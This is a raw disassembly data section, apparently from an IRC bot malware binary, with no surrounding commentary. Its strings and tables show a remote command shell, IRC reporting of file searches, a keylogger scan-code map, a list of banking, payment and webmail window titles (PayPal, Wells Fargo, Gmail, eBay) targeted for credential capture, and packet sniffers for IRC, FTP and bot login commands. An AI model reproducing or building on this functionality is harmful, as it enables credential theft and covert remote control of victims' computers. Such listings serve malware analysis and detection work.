aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: sub_40FF31:loc_40FF97o
		align 10h
aTextHtml	db 'text/html',0        ; DATA XREF: sub_40FF31+5Fo
		align 4
unk_434C0C	db  2Dh	; -		; DATA XREF: sub_4100B4+296o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_34	db ' failed to start worker thread, error %d',0
		align 4
unk_434C44	db  2Dh	; -		; DATA XREF: sub_4100B4+212o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aWorkerThreadOf	db ' worker thread of server thread: %d.',0
		align 4
asc_434C78:				; DATA XREF: sub_4100B4+15Ao
		unicode	0, <*>,0
aS_3		db '\%s',0              ; DATA XREF: sub_4100B4+2Fo
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: sub_41036B+652o
		align 4
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_41036B+637o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 10h
aPrivmsgSFoundS	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: sub_41036B+61Co
		align 10h
a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_41036B+58Do
		align 4
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_41036B+571o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_41036B:loc_410893o
		align 4
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_41036B+521o
		align 4
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_41036B+46Eo
		align 4
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: sub_41036B+42Fo
		align 4
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_41036B+3F9o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_41036B:loc_410725o
		align 4
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_41036B+3B3o
		align 4
aSS_0		db '%s%s/',0            ; DATA XREF: sub_41036B+36Co
		align 4
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_41036B+328o
					; sub_41036B+496o
		db '<TD WIDTH="%d"><A HREF="',0
		align 4
aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: sub_41036B+310o
		align 4
aS		db '<%s>',0             ; DATA XREF: sub_41036B+2E9o
					; sub_41036B+40Bo
		align 10h
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: sub_41036B+2BFo
aAm		db 'AM',0               ; DATA XREF: sub_41036B+295o
		align 4
aPm		db 'PM',0               ; DATA XREF: sub_41036B+28Ao
		align 4
a__		db '..',0               ; DATA XREF: sub_41036B+237o
		align 4
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_41036B+1C5o
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_41036B+149o
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_41036B+12Do
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_41036B+F9o
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_41036B+AEo
		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 4
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: sub_41036B+79o
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 4
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_41036B+4Bo
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_410ADC+8Fo
		db 'Referer: %s',0Ah
		db 'Host: %s',0Ah
		db 'Connection: close',0Ah
		db 0Ah,0
dword_435120	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: ___:00410D6Eo
aServerFailed_0	db '- server failed, returned %d',0
		align 4
aUseridUnixS	db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: ___:00410D13o
dword_435164	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: ___:00410CB8o
aClientConnecti	db '- client connection from %s:%d.',0
		db  2Dh	; -
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_35	db 'Failed to start client thread, error: <%d>.',0
unk_4351CC	db  2Dh	; -		; DATA XREF: ___:00410E94o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aClientConnec_0	db 'Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
unk_435214	db  2Dh	; -		; DATA XREF: ___:004110E6o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aFailedToSta_36	db 'Failed to start connection thread, error: <%d>.',0
unk_435254	db  2Dh	; -		; DATA XREF: ___:0041101Do
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aClientConnec_1	db 'Client connection to IP: %s:%d, Server thread: %d.',0
		align 4
unk_435298	db  2Dh	; -		; DATA XREF: ___:004113A9o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedOutS	db '- User logged out: <%s@%s>.',0
		align 4
unk_4352C4	db  2Dh	; -		; DATA XREF: ___:00411382o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorSessionru	db '- Error: SessionRun(): <%d>.',0
		align 10h
unk_4352F0	db  2Dh	; -		; DATA XREF: ___:00411362o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedInS@	db '- User logged in: <%s@%s>.',0
aPermissionDeni	db 'Permission denied',0Ah,0 ; DATA XREF: ___:00411332o
		align 4
unk_43532C	db  2Dh	; -		; DATA XREF: ___:004112A1o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorGetpeerna	db '- Error: getpeername(): <%d>.',0
		align 4
unk_435358	db  2Dh	; -		; DATA XREF: sub_4113C5:loc_41140Ao
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aProtocolString	db '- Protocol string too long.',0
		align 4
dword_435384	dd 234032Dh, 676F6C72h,	2646E69h, 4C202D03h, 6E69676Fh
					; DATA XREF: sub_41141F+1Bo
		dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h
		dd 203A7265h, 4073253Ch, 2E3E7325h, 0
		dd 234032Dh, 676F6C72h,	2646E69h, 45202D03h, 726F7272h
		dd 6573203Ah, 72657672h, 69616620h, 2C64656Ch, 74657220h
		dd 656E7275h, 3C203A64h, 2E3E6425h, 0
		dd 234032Dh, 676F6C72h,	2646E69h, 46202D03h, 656C6961h
		dd 6F742064h, 61747320h, 63207472h, 6E65696Ch, 68742074h
		dd 64616572h, 7265202Ch, 3A726F72h, 64253C20h, 2E3Eh, 234032Dh
		dd 676F6C72h, 2646E69h,	43202D03h, 6E65696Ch, 6F632074h
		dd 63656E6Eh, 6E6F6974h, 6F726620h, 5049206Dh, 7325203Ah
		dd 2C64253Ah, 72655320h, 20726576h, 65726874h, 203A6461h
		dd 2E6425h, 234032Dh, 676F6C72h, 2646E69h, 52202D03h, 79646165h
		dd 646E6120h, 69617720h, 676E6974h, 726F6620h, 636E6920h
		dd 6E696D6Fh, 6F632067h, 63656E6Eh, 6E6F6974h, 2E73h, 234032Dh
		dd 676F6C72h, 2646E69h,	46202D03h, 656C6961h, 6F742064h
		dd 736E6920h, 6C6C6174h, 6E6F6320h, 6C6F7274h, 6820432Dh
		dd 6C646E61h, 202C7265h, 6F727265h, 3C203A72h, 2E3E6425h
		dd 0
		db  2Dh	; -
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorWsastartu	db '- Error: WSAStartup(): <%d>.',0
		align 10h
unk_435520	db  2Dh	; -		; DATA XREF: sub_4116D6+DEo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aWaitformultipl	db '- WaitForMultipleObjects error: <%d>.',0
		align 4
unk_435554	db  2Dh	; -		; DATA XREF: sub_4116D6+59o
					; sub_4116D6+8Bo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCreate	db '- Failed to create ReadShell session thread, error: <%d>.',0
		align 4
unk_43559C	db  2Dh	; -		; DATA XREF: sub_411827+AFo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExecut	db '- Failed to execute shell.',0
unk_4355C4	db  2Dh	; -		; DATA XREF: sub_411827+7Eo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_0	db '- Failed to create shell stdin pipe, error: <%d>.',0
		align 4
unk_435604	db  2Dh	; -		; DATA XREF: sub_411827+5Co
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_1	db '- Failed to create shell stdout pipe, error: <%d>.',0
unk_435644	db  2Dh	; -		; DATA XREF: sub_411920+C3o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExec_0	db '- Failed to execute shell, error: <%d>.',0
		align 4
aCmdQ		db 'cmd /q',0           ; DATA XREF: sub_411920+8Co
		align 4
dword_435684	dd 234032Dh, 676F6C72h,	2646E69h, 53202D03h, 69737365h
					; DATA XREF: sub_4119F9+A1o
		dd 65526E6Fh, 68536461h, 546C6C65h, 61657268h, 78652064h
		dd 64657469h, 7265202Ch, 3A726F72h, 6C253C20h, 2E3E64h
		dd 234032Dh, 6B636F73h,	3023473h, 6146202Dh, 64656C69h
		dd 206F7420h, 72617473h, 65732074h, 72657672h, 206E6F20h
		dd 74726F50h, 2E642520h, 0
		dd 234032Dh, 6B636F73h,	3023473h
aFailedToSta_37	db '- Failed to start client thread, error: <%d>.',0
		align 10h
		dd 234032Dh, 6B636F73h,	3023473h
aClientConnec_2	db '- Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
		dd 234032Dh, 6B636F73h,	3023473h
aErrorFailedToC	db '- Error: Failed to connect to target, returned: <%d>.',0
		align 4
		dd 234032Dh, 6B636F73h,	3023473h
aErrorFailedToO	db '- Error: Failed to open socket(), returned: <%d>.',0
		align 4
		dd 234032Dh, 6B636F73h,	3023473h
aAuthentication	db '- Authentication failed. Remote userid: %s != %s.',0
		align 4
		dd 4000500h, 7868746Bh,	2 dup(0)
dword_435848	dd 6F672D65h, 646Ch, 1Eh dup(0)	; DATA XREF: ___:0041260Fo
		dd 6E676953h, 6E4920h, 1Eh dup(0)
aHotmail	db 'Hotmail',0
		dd 1Eh dup(0)
aWindowsLiveMes	db 'Windows Live Messenger',0
		align 10h
		dd 1Ah dup(0)
aPaypal_1	db 'PayPal',0
		align 10h
		dd 1Eh dup(0)
aStormpay	db 'StormPay',0
		align 4
		dd 1Dh dup(0)
aStormpay_comAc	db 'StormPay.com, Accept Online Payments',0
		align 10h
		dd 16h dup(0)
aWorldpay	db 'WorldPay',0
		align 4
		dd 1Dh dup(0)
		dd 74736F50h, 74492065h, 61696C61h, 656Eh, 1Ch dup(0)
		dd 6F746F46h, 2E676F6Ch, 74656Eh, 1Dh dup(0)
aTerraFotolog	db 'Terra - Fotolog',0
		dd 1Ch dup(0)
		dd 6F686159h, 216Fh, 1Eh dup(0)
		dd 616D6F44h, 53206E69h, 63726165h, 68h, 1Ch dup(0)
aBienvenidoAGma	db 'Bienvenido a Gmail',0
		align 4
		dd 1Bh dup(0)
aWelcomeToGmail	db 'Welcome to Gmail',0
		align 4
		dd 1Bh dup(0)
aDomainNameRegi	db 'Domain Name Registration',0
		align 4
		dd 19h dup(0)
		dd 616D6F44h, 4E206E69h, 656D61h, 1Dh dup(0)
aMyAccountLogin	db 'My Account Login',0
		align 4
		dd 1Bh dup(0)
aMercadolivreBr	db 'MercadoLivre Brasil',0
		dd 1Bh dup(0)
aWellsFargoHome	db 'Wells Fargo Home Page',0
		align 10h
		dd 1Ah dup(0)
aRyan1918DontNe	db 'Ryan1918 Dont NET :: Log in',0
		dd 19h dup(0)
aEbay		db 'eBay',0
		align 10h
		dd 1Eh dup(0)
aEbayNewUsedEle	db 'eBay - New & used electronics, cars, apparel, collectibles, sport'
		db 'ing goods & more at low prices',0
		dd 8 dup(0)
		db  49h	; I
		db 6Eh,	69h, 63h
		db  69h	; i
		db 61h,	72h, 20h
		db  73h	; s
		db 65h,	73h, 69h
		db 0F3h	; ó
aNebayNewUsedEl	db 'neBay - New & used electronics, cars, apparel, collectibles, spor'
		db 'ting goods & more at low prices',0
		align 4
		dd 4 dup(0)
dword_436448	dd 8, 62h, 62000000h, 2	dup(0) ; DATA XREF: ___:00412661o
		dd 0Dh,	65h, 65000000h,	2 dup(0)
		dd 1Bh,	4353455Bh, 5B00005Dh, 5D435345h, 0
		dd 70h,	5D31465Bh, 5B000000h, 5D3146h, 0
		dd 71h,	5D32465Bh, 5B000000h, 5D3246h, 0
		dd 72h,	5D33465Bh, 5B000000h, 5D3346h, 0
		dd 73h,	5D34465Bh, 5B000000h, 5D3446h, 0
		dd 74h,	5D35465Bh, 5B000000h, 5D3546h, 0
		dd 75h,	5D36465Bh, 5B000000h, 5D3646h, 0
		dd 76h,	5D37465Bh, 5B000000h, 5D3746h, 0
		dd 77h,	5D38465Bh, 5B000000h, 5D3846h, 0
		dd 78h,	5D39465Bh, 5B000000h, 5D3946h, 0
		dd 79h,	3031465Bh, 5B00005Dh, 5D303146h, 0
		dd 7Ah,	3131465Bh, 5B00005Dh, 5D313146h, 0
		dd 7Bh,	3231465Bh, 5B00005Dh, 5D323146h, 0
		dd 0C0h, 60h, 7E000000h, 2 dup(0)
		dd 2 dup(31h), 21000000h, 2 dup(0)
		dd 2 dup(32h), 40000000h, 2 dup(0)
		dd 2 dup(33h), 23000000h, 2 dup(0)
		dd 2 dup(34h), 24000000h, 2 dup(0)
		dd 2 dup(35h), 25000000h, 2 dup(0)
		dd 2 dup(36h), 5E000000h, 2 dup(0)
		dd 2 dup(37h), 26000000h, 2 dup(0)
		dd 2 dup(38h), 2A000000h, 2 dup(0)
		dd 2 dup(39h), 28000000h, 2 dup(0)
		dd 2 dup(30h), 29000000h, 2 dup(0)
		dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
		dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
		dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
		dd 51h,	71h, 51000000h,	2 dup(0)
		dd 57h,	77h, 57000000h,	2 dup(0)
		dd 45h,	65h, 45000000h,	2 dup(0)
		dd 52h,	72h, 52000000h,	2 dup(0)
		dd 54h,	74h, 54000000h,	2 dup(0)
		dd 59h,	79h, 59000000h,	2 dup(0)
		dd 55h,	75h, 55000000h,	2 dup(0)
		dd 49h,	69h, 49000000h,	2 dup(0)
		dd 4Fh,	6Fh, 4F000000h,	2 dup(0)
		dd 50h,	70h, 50000000h,	2 dup(0)
		dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
		dd 0DDh, 0
		dd 7D000000h, 2	dup(0)
		dd 41h,	61h, 41000000h,	2 dup(0)
		dd 53h,	73h, 53000000h,	2 dup(0)
		dd 44h,	64h, 44000000h,	2 dup(0)
		dd 46h,	66h, 46000000h,	2 dup(0)
		dd 47h,	67h, 47000000h,	2 dup(0)
		dd 48h,	68h, 48000000h,	2 dup(0)
		dd 4Ah,	6Ah, 4A000000h,	2 dup(0)
		dd 4Bh,	6Bh, 4B000000h,	2 dup(0)
		dd 4Ch,	6Ch, 4C000000h,	2 dup(0)
		dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
		dd 0DEh, 27h, 22000000h, 2 dup(0)
		dd 5Ah,	7Ah, 5A000000h,	2 dup(0)
		dd 58h,	78h, 58000000h,	2 dup(0)
		dd 43h,	63h, 43000000h,	2 dup(0)
		dd 56h,	76h, 56000000h,	2 dup(0)
		dd 42h,	62h, 42000000h,	2 dup(0)
		dd 4Eh,	6Eh, 4E000000h,	2 dup(0)
		dd 4Dh,	6Dh, 4D000000h,	2 dup(0)
		dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
		dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
		dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
		dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
		dd 11h,	5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
		dd 5B00005Dh, 5D4E4957h, 0
		dd 2 dup(20h), 20000000h, 2 dup(0)
		dd 5Ch,	4E49575Bh, 5B00005Dh, 5D4E4957h, 0
		dd 2Ch,	5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
		dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
		dd 5D534E49h, 0
		dd 24h,	4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
		dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
		dd 5D4C4544h, 0
		dd 23h,	444E455Bh, 5B00005Dh, 5D444E45h, 0
		dd 22h,	4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
		dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
		dd 5D5055h, 0
		dd 27h,	4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
		dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
		dd 4B4C4D4Eh, 5Dh, 6Fh,	2Fh, 2F000000h,	2 dup(0)
		dd 6Ah,	2Ah, 2A000000h,	2 dup(0)
		dd 6Dh,	2Dh, 2D000000h,	2 dup(0)
		dd 6Bh,	2Bh, 2B000000h,	2 dup(0)
		dd 60h,	30h, 30000000h,	2 dup(0)
		dd 61h,	31h, 31000000h,	2 dup(0)
		dd 62h,	32h, 32000000h,	2 dup(0)
		dd 63h,	33h, 33000000h,	2 dup(0)
		dd 64h,	34h, 34000000h,	2 dup(0)
		dd 65h,	35h, 35000000h,	2 dup(0)
		dd 66h,	36h, 36000000h,	2 dup(0)
		dd 67h,	37h, 37000000h,	2 dup(0)
		dd 68h,	38h, 38000000h,	2 dup(0)
		dd 69h,	39h, 39000000h,	2 dup(0)
		dd 6Eh,	2Eh, 2E000000h,	2 dup(0)
dword_436BB4	dd 28207325h, 297325h, 252EBB2Eh, 2EAB2E73h, 65522820h
					; DATA XREF: ___:0041262Do
					; sub_41AF8F+EBo
		dd 6E727574h, 25282029h, 2973h,	252EBB2Eh, 2EAB2E73h, 65522820h
		dd 6E727574h, 29h, 252EBB2Eh, 2EAB2E73h, 75422820h, 72656666h
		dd 6C756620h, 2820296Ch, 297325h, 252EBB2Eh, 2EAB2E73h
		dd 75422820h, 72656666h, 6C756620h, 296Ch, 252EBB2Eh, 2EAB2E73h
		dd 68432820h, 65676E61h, 69572064h, 776F646Eh, 25203A73h
		dd 2973h, 252EBB2Eh, 2EAB2E73h,	0
		dd offset off_4374C0
		dd offset off_4374BC
		dd offset off_4374B8
		dd offset aHttp_0	; "HTTP"
		dd 6F6C2E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C213Ah, 6E6967h, 4 dup(0)
		dd 6F6C403Ah, 6E6967h, 4 dup(0)
		dd 6F6C243Ah, 6E6967h, 4 dup(0)
		dd 6F6C253Ah, 6E6967h, 4 dup(0)
		dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C263Ah, 6E6967h, 4 dup(0)
		dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C273Ah, 6E6967h, 4 dup(0)
		dd 6F6C603Ah, 6E6967h, 4 dup(0)
		dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C203Ah, 6E6967h, 4 dup(0)
		dd 75612E3Ah, 6874h, 4 dup(0)
		dd 75612C3Ah, 6874h, 4 dup(0)
		dd 7561213Ah, 6874h, 4 dup(0)
		dd 7561403Ah, 6874h, 4 dup(0)
		dd 7561243Ah, 6874h, 4 dup(0)
		dd 7561253Ah, 6874h, 4 dup(0)
		dd 75615E3Ah, 6874h, 4 dup(0)
		dd 7561263Ah, 6874h, 4 dup(0)
		dd 75612A3Ah, 6874h, 4 dup(0)
		dd 75612D3Ah, 6874h, 4 dup(0)
		dd 75612B3Ah, 6874h, 4 dup(0)
		dd 75612F3Ah, 6874h, 4 dup(0)
		dd 75615C3Ah, 6874h, 4 dup(0)
		dd 75613D3Ah, 6874h, 4 dup(0)
		dd 75613F3Ah, 6874h, 4 dup(0)
		dd 7561273Ah, 6874h, 4 dup(0)
		dd 7561603Ah, 6874h, 4 dup(0)
		dd 75617E3Ah, 6874h, 4 dup(0)
		dd 7561203Ah, 6874h, 4 dup(0)
		dd 64692E3Ah, 5	dup(0)
		dd 64692C3Ah, 5	dup(0)
		dd 6469213Ah, 5	dup(0)
		dd 6469403Ah, 5	dup(0)
		dd 6469243Ah, 5	dup(0)
		dd 6469253Ah, 5	dup(0)
		dd 64695E3Ah, 5	dup(0)
		dd 6469263Ah, 5	dup(0)
		dd 64692A3Ah, 5	dup(0)
		dd 64692D3Ah, 5	dup(0)
		dd 64692B3Ah, 5	dup(0)
		dd 64692F3Ah, 5	dup(0)
		dd 64695C3Ah, 5	dup(0)
		dd 64693D3Ah, 5	dup(0)
		dd 64693F3Ah, 5	dup(0)
		dd 6469273Ah, 5	dup(0)
		dd 6469603Ah, 5	dup(0)
		dd 64697E3Ah, 5	dup(0)
		dd 6469203Ah, 5	dup(0)
		dd 61682E3Ah, 6E696873h, 4 dup(0)
		dd 6168213Ah, 6E696873h, 4 dup(0)
		dd 6168243Ah, 6E696873h, 4 dup(0)
		dd 6168253Ah, 6E696873h, 4 dup(0)
		dd 65732E3Ah, 65727563h, 4 dup(0)
		dd 6573213Ah, 65727563h, 4 dup(0)
		dd 6C2E3Ah, 5 dup(0)
		dd 6C213Ah, 5 dup(0)
		dd 6C243Ah, 5 dup(0)
		dd 6C253Ah, 5 dup(0)
		dd 782E3Ah, 5 dup(0)
		dd 78213Ah, 5 dup(0)
		dd 78243Ah, 5 dup(0)
		dd 78253Ah, 5 dup(0)
		dd 79732E3Ah, 6Eh, 4 dup(0)
		dd 7973213Ah, 6Eh, 4 dup(0)
		dd 7973243Ah, 6Eh, 4 dup(0)
		dd 7973253Ah, 6Eh, 4 dup(0)
		dd 4B444320h, 207965h, 4 dup(0)
		dd 4E494F4Ah, 2320h, 3 dup(0)
		dd 1, 4B43494Eh, 20h, 3	dup(0)
		dd 1, 5245504Fh, 20h, 3	dup(0)
		dd 1, 7265706Fh, 20h, 3	dup(0)
		dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
		dd 1, 52455355h, 20h, 3	dup(0)
		dd 2, 53534150h, 20h, 3	dup(0)
		dd 2, 70796170h, 6C61h,	3 dup(0)
		dd 3, 50594150h, 4C41h,	3 dup(0)
		dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
		dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
		dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
		dd 3, 6	dup(0)
aHttp_0		db 'HTTP',0             ; DATA XREF: ___:00436C54o
		align 4
off_4374B8	dd offset aAnCILA	; DATA XREF: ___:00436C50o
					; "€­(–ìˆÁ¸%Ý«±aÍ"
off_4374BC	dd offset aFailedToSta_36+25h ;	DATA XREF: ___:00436C4Co
off_4374C0	dd offset word_544F42	; DATA XREF: ___:00436C48o
		dd 234032Dh, 696E7370h,	3026666h, 6572202Dh, 29287663h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 696E7370h,	3026666h, 7573202Dh, 63697073h
		dd 73756F69h, 20732520h, 6B636170h, 66207465h, 3A6D6F72h
		dd 3A732520h, 2D206425h, 732520h, 234032Dh, 696E7370h
		dd 3026666h, 2Dh, 4E53505Bh, 5D464649h,	0
		dd 234032Dh, 696E7370h,	3026666h, 5357202Dh, 636F4941h
		dd 29286C74h, 69616620h, 2C64656Ch, 74657220h, 656E7275h
		dd 64252064h, 0
		dd 234032Dh, 696E7370h,	3026666h, 6962202Dh, 2928646Eh
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 696E7370h,	3026666h
aSocketFailedRe	db '- socket() failed, returned %d',0
		align 4
aHashin		db ':!hashin',0         ; DATA XREF: sub_412EEC+103o
		align 4
a_hashin	db ':.hashin',0         ; DATA XREF: sub_412EEC+EEo
		align 10h
aIdent_0	db ':!ident',0          ; DATA XREF: sub_412EEC+D9o
a_ident		db ':.ident',0          ; DATA XREF: sub_412EEC+C8o
a_login		db ':.Login',0          ; DATA XREF: sub_412EEC+B7o
aLogin_0	db ':!Login',0          ; DATA XREF: sub_412EEC+A6o
aLogin_1	db ':!login',0          ; DATA XREF: sub_412EEC+95o
a_login_0	db ':.login',0          ; DATA XREF: sub_412EEC+84o
a366		db '366 ',0             ; DATA XREF: sub_412EEC+73o
		align 4
a302_0		db '302 ',0             ; DATA XREF: sub_412EEC:loc_412F4Eo
		align 10h
aJoin_0		db 'JOIN #',0           ; DATA XREF: sub_412EEC+4Do
		align 4
aPsniff_0	db 'PSNIFF//',0         ; DATA XREF: sub_412EEC+3Co
		align 4
aPsniff_1	db '[PSNIFF]:',0        ; DATA XREF: sub_412EEC+2Bo
		align 10h
aBotSniff	db 'Bot sniff',0        ; DATA XREF: sub_412EEC+5o
		align 4
aYouAreNowAnIrc	db 'You are now an IRC Operator',0 ; DATA XREF: sub_413003+62o
aOper		db 'oper ',0            ; DATA XREF: sub_413003+51o
		align 10h
aNick_1		db 'NICK ',0            ; DATA XREF: sub_413003:loc_413043o
					; sub_413079+2Bo
		align 4
aOper_0		db 'OPER ',0            ; DATA XREF: sub_413003+2Bo
		align 10h
aIrcSniff	db 'IRC sniff',0        ; DATA XREF: sub_413003+5o
		align 4
aPass_1		db 'PASS ',0            ; DATA XREF: sub_413079+73o
		align 4
aUser_3		db 'USER ',0            ; DATA XREF: sub_413079+62o
		align 4
a230		db '230 ',0             ; DATA XREF: sub_413079:loc_4130CAo
		align 4
a220		db '220 ',0             ; DATA XREF: sub_413079+3Co
		align 4
aFtpSniff	db 'FTP sniff',0        ; DATA XREF: sub_413079+5o
		align 4
